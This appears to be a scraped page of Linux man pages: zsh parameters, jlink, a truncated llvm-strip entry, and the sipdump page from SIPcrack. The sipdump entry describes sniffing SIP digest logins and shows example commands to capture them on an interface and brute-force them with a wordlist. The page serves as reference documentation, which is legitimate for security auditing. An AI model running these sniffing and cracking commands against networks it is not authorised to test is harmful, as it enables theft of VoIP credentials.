ARGV0 If exported, its value is used as the argv[0] of external commands. Usually used in constructs like `ARGV0=emacs nethack'.

BAUD
The rate in bits per second at which data reaches the terminal. The line editor will use this value in order to compensate for a slow terminal by delaying updates to the display until necessary. If the parameter is unset or the value is zero the compensation mechanism is turned off. The parameter is not set by default.

This parameter may be profitably set in some circumstances, e.g. for slow modems dialing into a communications server, or on a slow wide area network. It should be set to the baud rate of the slowest part of the link for best performance.

cdpath <S> <Z> (CDPATH <S>)
An array (colon-separated list) of directories specifying the search path for the cd command.

COLUMNS <S>
The number of columns for this terminal session. Used for printing select lists and for the line editor.

CORRECT_IGNORE
If set, is treated as a pattern during spelling correction. Any potential correction that matches the pattern is ignored. For example, if the value is `_*’ then completion functions (which, by convention, have names beginning with `_’) will never be offered as spelling corrections. The pattern does not apply to the correction of file names, as applied by the CORRECT_ALL option (so with the example just given files beginning with `_’ in the current directory would still be completed).

CORRECT_IGNORE_FILE
If set, is treated as a pattern during spelling correction of file names. Any file name that matches the pattern is never offered as a correction. For example, if the value is `.*’ then dot file names will never be offered as spelling corrections. This is useful with the CORRECT_ALL option.

DIRSTACKSIZE
The maximum size of the directory stack, by default there is no limit. If the stack gets larger than this, it will be truncated automatically. This is useful with the AUTO_PUSHD option.

ENV
If the ENV environment variable is set when zsh is invoked as sh or ksh, $ENV is sourced after the profile scripts. The value of ENV is subjected to parameter expansion, command substitution, and arithmetic expansion before being interpreted as a pathname. Note that ENV is not used unless the shell is interactive and zsh is emulating sh or ksh.

FCEDIT
The default editor for the fc builtin. If FCEDIT is not set, the parameter EDITOR is used; if that is not set either, a builtin default, usually vi, is used.

fignore <S> <Z> (FIGNORE <S>)
An array (colon separated list) containing the suffixes of files to be ignored during filename completion. However, if completion only generates files with suffixes in this list, then these files are completed anyway.

fpath <S> <Z> (FPATH <S>)
An array (colon separated list) of directories specifying the search path for function definitions. This path is searched when a function with the -u attribute is referenced. If an executable file is found, then it is read and executed in the current environment.

histchars <S>
Three characters used by the shell’s history and lexical analysis mechanism. The first character signals the start of a history expansion (default `!’). The second character signals the start of a quick history substitution (default `^’). The third character is the comment character (default `#’).

The characters must be in the ASCII character set; any attempt to set histchars to characters with a locale-dependent meaning will be rejected with an error message.

HISTCHARS <S> <Z>
Same as histchars. (Deprecated.)

HISTFILE
The file to save the history in when an interactive shell exits. If unset, the history is not saved.

HISTORY_IGNORE
If set, is treated as a pattern at the time history files are written. Any potential history entry that matches the pattern is skipped. For example, if the value is `fc *’ then commands that invoke the interactive history editor are never written to the history file.

Note that HISTORY_IGNORE defines a single pattern: to specify alternatives use the `(first|second|)’ syntax.

Compare the HIST_NO_STORE option or the zshaddhistory hook, either of which would prevent such commands from being added to the interactive history at all. If you wish to use HISTORY_IGNORE to stop history being added in the first place, you can define the following hook:

zshaddhistory() { emulate -L zsh ## uncomment if HISTORY_IGNORE ## should use EXTENDED_GLOB syntax # setopt extendedglob [[ $1 != ${~HISTORY_IGNORE} ]] }

HISTSIZE <S>
The maximum number of events stored in the internal history list. If you use the HIST_EXPIRE_DUPS_FIRST option, setting this value larger than the SAVEHIST size will give you the difference as a cushion for saving duplicated history events.

If this is made local, it is not implicitly set to 0, but may be explicitly set locally.

HOME <S>
The default argument for the cd command. This is not set automatically by the shell in sh, ksh or csh emulation, but it is typically present in the environment anyway, and if it becomes set it has its usual special behaviour.

IFS <S>
Internal field separators (by default space, tab, newline and NUL), that are used to separate words which result from command or parameter expansion and words read by the read builtin. Any characters from the set space, tab and newline that appear in the IFS are called IFS white space. One or more IFS white space characters or one non-IFS white space character together with any adjacent IFS white space character delimit a field. If an IFS white space character appears twice consecutively in the IFS, this character is treated as if it were not an IFS white space character.

If the parameter is unset, the default is used. Note this has a different effect from setting the parameter to an empty string.

KEYBOARD_HACK
This variable defines a character to be removed from the end of the command line before interpreting it (interactive shells only). It is intended to fix the problem with keys placed annoyingly close to return and replaces the SUNKEYBOARDHACK option which did this for backquotes only. Should the chosen character be one of singlequote, doublequote or backquote, there must also be an odd number of them on the command line for the last one to be removed.

For backward compatibility, if the SUNKEYBOARDHACK option is explicitly set, the value of KEYBOARD_HACK reverts to backquote. If the option is explicitly unset, this variable is set to empty.

KEYTIMEOUT
The time the shell waits, in hundredths of seconds, for another key to be pressed when reading bound multi-character sequences.

LANG <S>
This variable determines the locale category for any category not specifically selected via a variable starting with `LC_'.

LC_ALL <S>
This variable overrides the value of the `LANG’ variable and the value of any of the other variables starting with `LC_'.

LC_COLLATE <S>
This variable determines the locale category for character collation information within ranges in glob brackets and for sorting.

LC_CTYPE <S>
This variable determines the locale category for character handling functions. If the MULTIBYTE option is in effect this variable or LANG should contain a value that reflects the character set in use, even if it is a single-byte character set, unless only the 7-bit subset (ASCII) is used. For example, if the character set is ISO-8859-1, a suitable value might be en_US.iso88591 (certain Linux distributions) or en_US.ISO8859-1 (MacOS).

LC_MESSAGES <S>
This variable determines the language in which messages should be written. Note that zsh does not use message catalogs.

LC_NUMERIC <S>
This variable affects the decimal point character and thousands separator character for the formatted input/output functions and string conversion functions. Note that zsh ignores this setting when parsing floating point mathematical expressions.

LC_TIME <S>
This variable determines the locale category for date and time formatting in prompt escape sequences.

LINES <S>
The number of lines for this terminal session. Used for printing select lists and for the line editor.

LISTMAX
In the line editor, the number of matches to list without asking first. If the value is negative, the list will be shown if it spans at most as many lines as given by the absolute value. If set to zero, the shell asks only if the top of the listing would scroll off the screen.

MAIL
If this parameter is set and mailpath is not set, the shell looks for mail in the specified file.

MAILCHECK
The interval in seconds between checks for new mail.

mailpath <S> <Z> (MAILPATH <S>)
An array (colon-separated list) of filenames to check for new mail. Each filename can be followed by a `?’ and a message that will be printed. The message will undergo parameter expansion, command substitution and arithmetic expansion with the variable $_ defined as the name of the file that has changed. The default message is `You have new mail’. If an element is a directory instead of a file the shell will recursively check every file in every subdirectory of the element.

manpath <S> <Z> (MANPATH <S> <Z>)
An array (colon-separated list) whose value is not used by the shell. The manpath array can be useful, however, since setting it also sets MANPATH, and vice versa.

match

mbegin

mend Arrays set by the shell when the b globbing flag is used in pattern matches. See the subsection Globbing flags in the documentation for Filename Generation in zshexpn(1).

MATCH

MBEGIN

MEND Set by the shell when the m globbing flag is used in pattern matches. See the subsection Globbing flags in the documentation for Filename Generation in zshexpn(1).

module_path <S> <Z> (MODULE_PATH <S>)
An array (colon-separated list) of directories that zmodload searches for dynamically loadable modules. This is initialized to a standard pathname, usually `/usr/local/lib/zsh/$ZSH_VERSION’. (The `/usr/local/lib’ part varies from installation to installation.) For security reasons, any value set in the environment when the shell is started will be ignored.

These parameters only exist if the installation supports dynamic module loading.

NULLCMD <S>
The command name to assume if a redirection is specified with no command. Defaults to cat. For sh/ksh behavior, change this to :. For csh-like behavior, unset this parameter; the shell will print an error message if null commands are entered.

path <S> <Z> (PATH <S>)
An array (colon-separated list) of directories to search for commands. When this parameter is set, each directory is scanned and all files found are put in a hash table.

POSTEDIT <S>
This string is output whenever the line editor exits. It usually contains termcap strings to reset the terminal.

PROMPT <S> <Z>

PROMPT2 <S> <Z>

PROMPT3 <S> <Z>

PROMPT4 <S> <Z> Same as PS1, PS2, PS3 and PS4, respectively.

prompt <S> <Z>
Same as PS1.

PROMPT_EOL_MARK
When the PROMPT_CR and PROMPT_SP options are set, the PROMPT_EOL_MARK parameter can be used to customize how the end of partial lines are shown. This parameter undergoes prompt expansion, with the PROMPT_PERCENT option set. If not set, the default behavior is equivalent to the value `%B%S%#%s%b'.

PS1 <S>
The primary prompt string, printed before a command is read. It undergoes a special form of expansion before being displayed; see EXPANSION OF PROMPT SEQUENCES in zshmisc(1). The default is `%m%# ‘.

PS2 <S>
The secondary prompt, printed when the shell needs more information to complete a command. It is expanded in the same way as PS1. The default is `%_> ‘, which displays any shell constructs or quotation marks which are currently being processed.

PS3 <S>
Selection prompt used within a select loop. It is expanded in the same way as PS1. The default is `?# ‘.

PS4 <S>
The execution trace prompt. Default is `+%N:%i> ‘, which displays the name of the current shell structure and the line number within it. In sh or ksh emulation, the default is `+ ‘.

psvar <S> <Z> (PSVAR <S>)
An array (colon-separated list) whose elements can be used in PROMPT strings. Setting psvar also sets PSVAR, and vice versa.

READNULLCMD <S>
The command name to assume if a single input redirection is specified with no command. Defaults to more.

REPORTMEMORY
If nonnegative, commands whose maximum resident set size (roughly speaking, main memory usage) in kilobytes is greater than this value have timing statistics reported. The format used to output statistics is the value of the TIMEFMT parameter, which is the same as for the REPORTTIME variable and the time builtin; note that by default this does not output memory usage. Appending ” max RSS %M" to the value of TIMEFMT causes it to output the value that triggered the report. If REPORTTIME is also in use, at most a single report is printed for both triggers. This feature requires the getrusage() system call, commonly supported by modern Unix-like systems.

REPORTTIME
If nonnegative, commands whose combined user and system execution times (measured in seconds) are greater than this value have timing statistics printed for them. Output is suppressed for commands executed within the line editor, including completion; commands explicitly marked with the time keyword still cause the summary to be printed in this case.

REPLY
This parameter is reserved by convention to pass string values between shell scripts and shell builtins in situations where a function call or redirection are impossible or undesirable. The read builtin and the select complex command may set REPLY, and filename generation both sets and examines its value when evaluating certain expressions. Some modules also employ REPLY for similar purposes.

reply
As REPLY, but for array values rather than strings.

RPROMPT <S>

RPS1 <S> This prompt is displayed on the right-hand side of the screen when the primary prompt is being displayed on the left. This does not work if the SINGLE_LINE_ZLE option is set. It is expanded in the same way as PS1.

RPROMPT2 <S>

RPS2 <S> This prompt is displayed on the right-hand side of the screen when the secondary prompt is being displayed on the left. This does not work if the SINGLE_LINE_ZLE option is set. It is expanded in the same way as PS2.

SAVEHIST
The maximum number of history events to save in the history file.

If this is made local, it is not implicitly set to 0, but may be explicitly set locally.

SPROMPT <S>
The prompt used for spelling correction. The sequence `%R’ expands to the string which presumably needs spelling correction, and `%r’ expands to the proposed correction. All other prompt escapes are also allowed.

The actions available at the prompt are [nyae]:

n (`no’) (default)
Discard the correction and run the command.

y (`yes’)
Make the correction and run the command.

a (`abort’)
Discard the entire command line without running it.

e (`edit’)
Resume editing the command line.

STTY
If this parameter is set in a command’s environment, the shell runs the stty command with the value of this parameter as arguments in order to set up the terminal before executing the command. The modes apply only to the command, and are reset when it finishes or is suspended. If the command is suspended and continued later with the fg or wait builtins it will see the modes specified by STTY, as if it were not suspended. This (intentionally) does not apply if the command is continued via `kill -CONT’. STTY is ignored if the command is run in the background, or if it is in the environment of the shell but not explicitly assigned to in the input line. This avoids running stty at every external command by accidentally exporting it. Also note that STTY should not be used for window size specifications; these will not be local to the command.

If the parameter is set and empty, all of the above applies except that stty is not run. This can be useful as a way to freeze the tty around a single command, blocking its changes to tty settings, similar to the ttyctl builtin.

TERM <S>
The type of terminal in use. This is used when looking up termcap sequences. An assignment to TERM causes zsh to re-initialize the terminal, even if the value does not change (e.g., `TERM=$TERM’). It is necessary to make such an assignment upon any change to the terminal definition database or terminal type in order for the new settings to take effect.

TERMINFO <S>
A reference to your terminfo database, used by the `terminfo’ library when the system has it; see terminfo(5). If set, this causes the shell to reinitialise the terminal, making the workaround `TERM=$TERM’ unnecessary.

TERMINFO_DIRS <S>
A colon-seprarated list of terminfo databases, used by the `terminfo’ library when the system has it; see terminfo(5). This variable is only used by certain terminal libraries, in particular ncurses; see terminfo(5) to check support on your system. If set, this causes the shell to reinitialise the terminal, making the workaround `TERM=$TERM’ unnecessary. Note that unlike other colon-separated arrays this is not tied to a zsh array.

TIMEFMT
The format of process time reports with the time keyword. The default is `%J %U user %S system %P cpu %*E total’. Recognizes the following escape sequences, although not all may be available on all systems, and some that are available may not be useful:

%%
A `%’.

%U
CPU seconds spent in user mode.

%S
CPU seconds spent in kernel mode.

%E
Elapsed time in seconds.

%P
The CPU percentage, computed as 100*(%U+%S)/%E.

%W
Number of times the process was swapped.

%X
The average amount in (shared) text space used in kilobytes.

%D
The average amount in (unshared) data/stack space used in kilobytes.

%K
The total space used (%X+%D) in kilobytes.

%M
The maximum memory the process had in use at any time in kilobytes.

%F
The number of major page faults (page needed to be brought from disk).

%R
The number of minor page faults.

%I
The number of input operations.

%O
The number of output operations.

%r
The number of socket messages received.

%s
The number of socket messages sent.

%k
The number of signals received.

%w
Number of voluntary context switches (waits).

%c
Number of involuntary context switches.

%J
The name of this job.

A star may be inserted between the percent sign and flags printing time (e.g., `%*E’); this causes the time to be printed in `hh**:mm:ss.ttt’ format (hours and minutes are only printed if they are not zero). Alternatively, `m’ or `u’ may be used (e.g., `%mE**’) to produce time output in milliseconds or microseconds, respectively.

TMOUT
If this parameter is nonzero, the shell will receive an ALRM signal if a command is not entered within the specified number of seconds after issuing a prompt. If there is a trap on SIGALRM, it will be executed and a new alarm is scheduled using the value of the TMOUT parameter after executing the trap. If no trap is set, and the idle time of the terminal is not less than the value of the TMOUT parameter, zsh terminates. Otherwise a new alarm is scheduled to TMOUT seconds after the last keypress.

TMPPREFIX
A pathname prefix which the shell will use for all temporary files. Note that this should include an initial part for the file name as well as any directory names. The default is `/tmp/zsh’.

TMPSUFFIX
A filename suffix which the shell will use for temporary files created by process substitutions (e.g., `=(list)’). Note that the value should include a leading dot `.’ if intended to be interpreted as a file extension. The default is not to append any suffix, thus this parameter should be assigned only when needed and then unset again.

WORDCHARS <S>
A list of non-alphanumeric characters considered part of a word by the line editor.

ZBEEP
If set, this gives a string of characters, which can use all the same codes as the bindkey command as described in the zsh/zle module entry in zshmodules(1), that will be output to the terminal instead of beeping. This may have a visible instead of an audible effect; for example, the string `[?5h[?5l*’ on a vt100 or xterm will have* the effect of flashing reverse video on and off (if you usually use reverse video, you should use the string `[?5l[?5h*’ instead). This takes* precedence over the NOBEEP option.

ZDOTDIR
The directory to search for shell startup files (.zshrc, etc), if not $HOME*.*

zle_bracketed_paste
Many terminal emulators have a feature that allows applications to identify when text is pasted into the terminal rather than being typed normally. For ZLE, this means that special characters such as tabs and newlines can be inserted instead of invoking editor commands. Furthermore, pasted text forms a single undo event and if the region is active, pasted text will replace the region.

This two-element array contains the terminal escape sequences for enabling and disabling the feature. These escape sequences are used to enable bracketed paste when ZLE is active and disable it at other times. Unsetting the parameter has the effect of ensuring that bracketed paste remains disabled.

zle_highlight
An array describing contexts in which ZLE should highlight the input text. See Character Highlighting in zshzle(1).

ZLE_LINE_ABORTED
This parameter is set by the line editor when an error occurs. It contains the line that was being edited at the point of the error. `print -zr – $ZLE_LINE_ABORTED*’ can be used to recover the line.* Only the most recent line of this kind is remembered.

ZLE_REMOVE_SUFFIX_CHARS

ZLE_SPACE_SUFFIX_CHARS These parameters are used by the line editor. In certain circumstances suffixes (typically space or slash) added by the completion system will be removed automatically, either because the next editing command was not an insertable character, or because the character was marked as requiring the suffix to be removed.

These variables can contain the sets of characters that will cause the suffix to be removed. If ZLE_REMOVE_SUFFIX_CHARS is set, those characters will cause the suffix to be removed; if ZLE_SPACE_SUFFIX_CHARS is set, those characters will cause the suffix to be removed and replaced by a space.

If ZLE_REMOVE_SUFFIX_CHARS is not set, the default behaviour is equivalent to:

ZLE_REMOVE_SUFFIX_CHARS=$’ ;&|’

If ZLE_REMOVE_SUFFIX_CHARS is set but is empty, no characters have this behaviour. ZLE_SPACE_SUFFIX_CHARS takes precedence, so that the following:

ZLE_SPACE_SUFFIX_CHARS=$’&|’

causes the characters `&’ and `|’ to remove the suffix but to replace it with a space.

To illustrate the difference, suppose that the option AUTO_REMOVE_SLASH is in effect and the directory DIR has just been completed, with an appended /, following which the user types `&’. The default result is `DIR&’. With ZLE_REMOVE_SUFFIX_CHARS set but without including `&’ the result is `DIR/&’. With ZLE_SPACE_SUFFIX_CHARS set to include `&’ the result is `DIR &’.

Note that certain completions may provide their own suffix removal or replacement behaviour which overrides the values described here. See the completion system documentation in zshcompsys(1).

ZLE_RPROMPT_INDENT <S>
If set, used to give the indentation between the right hand side of the right prompt in the line editor as given by RPS1 or RPROMPT and the right hand side of the screen. If not set, the value 1 is used.

Typically this will be used to set the value to 0 so that the prompt appears flush with the right hand side of the screen. This is not the default as many terminals do not handle this correctly, in particular when the prompt appears at the extreme bottom right of the screen. Recent virtual terminals are more likely to handle this case correctly. Some experimentation is necessary.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2201 - Linux cli command sipdump

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sipdump and provides detailed information about the command sipdump, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sipdump.

NAME 🖥️ sipdump 🖥️

Part of SIPcrack, A suite of tools to sniff and crack the digest authentications within the SIP protocol.

SYNOPSIS

sipdump [options]* <dump_file>*

DESCRIPTION

This manual page documents briefly the sipdump tool

Session Initiation Protocol (SIP) is a protocol developed by the IETF MMUSIC Working Group and is a proposed standard for initiating, modifying, and terminating an interactive user session that involves multimedia elements such as video, voice, instant messaging, online games, and virtual reality.

In November 2000, SIP was accepted as a 3GPP signaling protocol and permanent element of the IMS architecture. It is one of the leading signalling protocols for Voice over IP, along with H.323. In most VOIP solutions SIP is used to authenticate the SIPclient. The protocol is documented inside the RFC at www.ietf.org/rfc/rfc3261.txt

SIPcrack is a SIP login sniffer/cracker that contains 2 programs: sipdump to capture the digest authentication and sipcrack to bruteforce the hash using a wordlist or standard input.
sipdump dumps SIP digest authentications. If a login is found, the sniffed login is written to the dump file. See ‘sipdump -h’ for options.
sipcrack bruteforces the user’s password with the dump file generated by sipdump. If a password is found, the sniffed and cracked login will be updated in the dump file.
See ‘sipcrack -h’ for options.

OPTIONS

A summary of options is included below.

-i interface,
interface to listen on

-p pcap_file,
use pcap data file

-m,
enter login data manually

-f libpcap_filer ,
set libpcap filter

EXAMPLE

sipdump -i eth0 logins.dump
sipcrack -w mywordlist.txt logins.dump

SEE ALSO

sipcrack(1).

AUTHOR

sipdump was written by Martin J. Muench <[email protected]>

This manual page was written by Sebastian Castillo Builes <[email protected]>, for the Debian project (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2202 - Linux cli command jlink

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command jlink and provides detailed information about the command jlink, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the jlink.

NAME 🖥️ jlink 🖥️

assemble and optimize a set of modules and their dependencies into a custom runtime image

SYNOPSIS

jlink [options] --module-path modulepath --add-modules module [, module…]

options
Command-line options separated by spaces. See jlink Options.

modulepath
The path where the jlink tool discovers observable modules. These modules can be modular JAR files, JMOD files, or exploded modules.

module
The names of the modules to add to the runtime image. The jlink tool adds these modules and their transitive dependencies.

DESCRIPTION

The jlink tool links a set of modules, along with their transitive dependences, to create a custom runtime image.

Note:

Developers are responsible for updating their custom runtime images.

JLINK OPTIONS

--add-modules mod [, mod…]
Adds the named modules, mod, to the default set of root modules. The default set of root modules is empty.

--bind-services
Link service provider modules and their dependencies.

-c ={0|1|2} or --compress={0|1|2}
Enable compression of resources:

  • 0: No compression

  • 1: Constant string sharing

  • 2: ZIP

--disable-plugin pluginname
Disables the specified plug-in. See jlink Plug-ins for the list of supported plug-ins.

--endian {little|big}
Specifies the byte order of the generated image. The default value is the format of your system’s architecture.

-h or --help
Prints the help message.

--ignore-signing-information
Suppresses a fatal error when signed modular JARs are linked in the runtime image. The signature-related files of the signed modular JARs aren’t copied to the runtime image.

--launcher command=module or --launcher command=module/main
Specifies the launcher command name for the module or the command name for the module and main class (the module and the main class names are separated by a slash (/)).

--limit-modules mod [, mod…]
Limits the universe of observable modules to those in the transitive closure of the named modules, mod, plus the main module, if any, plus any further modules specified in the --add-modules option.

--list-plugins
Lists available plug-ins, which you can access through command-line options; see jlink Plug-ins.

-p or --module-path modulepath
Specifies the module path.

If this option is not specified, then the default module path is $JAVA_HOME/jmods. This directory contains the java.base module and the other standard and JDK modules. If this option is specified but the java.base module cannot be resolved from it, then the jlink command appends $JAVA_HOME/jmods to the module path.

--no-header-files
Excludes header files.

--no-man-pages
Excludes man pages.

--output path
Specifies the location of the generated runtime image.

--save-opts filename
Saves jlink options in the specified file.

--suggest-providers [name,** …]**
Suggest providers that implement the given service types from the module path.

--version
Prints version information.

****@filename
Reads options from the specified file.

An options file is a text file that contains the options and values that you would typically enter in a command prompt. Options may appear on one line or on several lines. You may not specify environment variables for path names. You may comment out lines by prefixing a hash symbol (#) to the beginning of the line.

The following is an example of an options file for the jlink command:

#Wed Dec 07 00:40:19 EST 2016
--module-path mlib
--add-modules com.greetings
--output greetingsapp

JLINK PLUG-INS

Note:

Plug-ins not listed in this section aren’t supported and are subject to change.

For plug-in options that require a pattern-list, the value is a comma-separated list of elements, with each element using one the following forms:

  • glob-pattern

  • **glob:**glob-pattern

  • **regex:**regex-pattern

  • **@**filename

    • filename is the name of a file that contains patterns to be used, one pattern per line.

For a complete list of all available plug-ins, run the command jlink --list-plugins.

Plugin compress

Options
--compress={0|1|2}[**:filter=**pattern-list]

Description
Compresses all resources in the output image.

  • Level 0: No compression

  • Level 1: Constant string sharing

  • Level 2: ZIP

An optional pattern-list filter can be specified to list the pattern of files to include.

Plugin include-locales

Options
**--include-locales=langtag[,**langtag]*

Description
Includes the list of locales where langtag is a BCP 47 language tag. This option supports locale matching as defined in RFC 4647. Ensure that you add the module jdk.localedata when using this option.

Example:

--add-modules jdk.localedata --include-locales=en,ja,*-IN

Plugin order-resources

Options
**--order-resources=**pattern-list

Description
Orders the specified paths in priority order. If **@**filename is specified, then each line in pattern-list must be an exact match for the paths to be ordered.

Example:

--order-resources=/module-info.class,@classlist,/java.base/java/lang/

Plugin strip-debug

Options
--strip-debug

Description
Strips debug information from the output image.

JLINK EXAMPLES

The following command creates a runtime image in the directory greetingsapp. This command links the module com.greetings, whose module definition is contained in the directory mlib.

jlink --module-path mlib --add-modules com.greetings --output greetingsapp

The following command lists the modules in the runtime image greetingsapp:

greetingsapp/bin/java --list-modules
com.greetings
java.base@11
java.logging@11
[email protected]

The following command creates a runtime image in the directory compressedrt that’s stripped of debug symbols, uses compression to reduce space, and includes French language locale information:

jlink --add-modules jdk.localedata --strip-debug --compress=2 --include-locales=fr --output compressedrt

The following example compares the size of the runtime image compressedrt with fr_rt, which isn’t stripped of debug symbols and doesn’t use compression:

jlink --add-modules jdk.localedata --include-locales=fr --output fr_rt

du -sh ./compressedrt ./fr_rt
23M     ./compressedrt
36M     ./fr_rt

The following example lists the providers that implement java.security.Provider:

jlink --suggest-providers java.security.Provider

Suggested providers:
  java.naming provides java.security.Provider used by java.base
  java.security.jgss provides java.security.Provider used by java.base
  java.security.sasl provides java.security.Provider used by java.base
  java.smartcardio provides java.security.Provider used by java.base
  java.xml.crypto provides java.security.Provider used by java.base
  jdk.crypto.cryptoki provides java.security.Provider used by java.base
  jdk.crypto.ec provides java.security.Provider used by java.base
  jdk.crypto.mscapi provides java.security.Provider used by java.base
  jdk.security.jgss provides java.security.Provider used by java.base

The following example creates a custom runtime image named mybuild that includes only java.naming and jdk.crypto.cryptoki and their dependencies but no other providers. Note that these dependencies must exist in the module path:

jlink --add-modules java.naming,jdk.crypto.cryptoki --output mybuild

The following command is similar to the one that creates a runtime image named greetingsapp, except that it will link the modules resolved from root modules with service binding; see the Configuration.resolveAndBind method.

jlink --module-path mlib --add-modules com.greetings --output greetingsapp --bind-services

The following command lists the modules in the runtime image greetingsapp created by this command:

greetingsapp/bin/java --list-modules
com.greetings
java.base@11
java.compiler@11
java.datatransfer@11
java.desktop@11
java.logging@11
java.management@11
java.management.rmi@11
java.naming@11
java.prefs@11
java.rmi@11
java.security.jgss@11
java.security.sasl@11
java.smartcardio@11
java.xml@11
java.xml.crypto@11
jdk.accessibility@11
jdk.charsets@11
jdk.compiler@11
jdk.crypto.cryptoki@11
jdk.crypto.ec@11
jdk.crypto.mscapi@11
jdk.internal.opt@11
jdk.jartool@11
jdk.javadoc@11
jdk.jdeps@11
jdk.jfr@11
jdk.jlink@11
jdk.localedata@11
jdk.management@11
jdk.management.jfr@11
jdk.naming.dns@11
jdk.naming.rmi@11
jdk.security.auth@11
jdk.security.jgss@11
jdk.zipfs@11
[email protected]
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2203 - Linux cli command llvm-strip-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-strip-16 and provides detailed information about the command llvm-strip-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-strip-16.

NAME 🖥️ llvm-strip-16 🖥️

strip - object stripping tool

SYNOPSIS

llvm-strip [options] inputs…

DESCRIPTION

llvm-strip is a tool to strip sections and symbols from object files. If no other stripping or remove options are specified, –strip-all will be enabled.

By default, the input files are modified in-place. If “-” is specified for the input file, the input is read from the program’s standard input stream.

If the input is an archive, any requested operations will be applied to each archive member individually.

The tool is still in active development, but in most scenarios it works as a drop-in replacement for GNU’s strip.

GENERIC AND CROSS-PLATFORM OPTIONS

The following options are either agnostic of the file format, or apply to multiple file formats.

–disable-deterministic-archives, -U
Use real values for UIDs, GIDs and timestamps when updating archive member headers.

–discard-all, -x
Remove most local symbols from the output. Different file formats may limit this to a subset of the local symbols. For example, file and section symbols in ELF objects will not be discarded. Additionally, remove all debug sections.

–enable-deterministic-archives, -D
Enable deterministic mode when stripping archives, i.e. use 0 for archive member header UIDs, GIDs and timestamp fields. On by default.

–help, -h
Print a summary of command line options.

–no-strip-all
Disable –strip-all.

-o <file>
Write output to <file>. Multiple input files cannot be used in combination with -o.

–only-keep-debug
Produce a debug file as the output that only preserves contents of sections useful for debugging purposes.

For ELF objects, this removes the contents of SHF_ALLOC sections that are not SHT_NOTE by making them SHT_NOBITS and shrinking the program headers where possible.

–regex
If specified, symbol and section names specified by other switches are treated as extended POSIX regular expression patterns.

–remove-section <section>, -R
Remove the specified section from the output. Can be specified multiple times to remove multiple sections simultaneously.

–strip-all-gnu
Remove all symbols, debug sections and relocations from the output. This option is equivalent to GNU strip’s –strip-all switch.

–strip-all, -s
For ELF objects, remove from the output all symbols and non-alloc sections not within segments, except for .gnu.warning, .ARM.attribute sections and the section name table.

For COFF objects, remove all symbols, debug sections, and relocations from the output.

–strip-debug, -d, -g, -S
Remove all debug sections from the output.

–strip-symbol <symbol>, -N
Remove all symbols named <symbol> from the output. Can be specified multiple times to remove multiple symbols.

–strip-unneeded
Remove from the output all local or undefined symbols that are not required by relocations. Also remove all debug sections.

–version, -V
Display the version of the llvm-strip executable.

–wildcard, -w
Allow wildcard syntax for symbol-related flags. On by default for section-related flags. Incompatible with –regex.

Wildcard syntax allows the following special symbols:

_
CharacterMeaningEquivalent
_
*Any number of characters.*
_
?Any single character.
_
\Escape the next character\
_
[a-z]Character class[a-z]
_
[!a-z], [^a-z]Negated character class[^a-z]
_

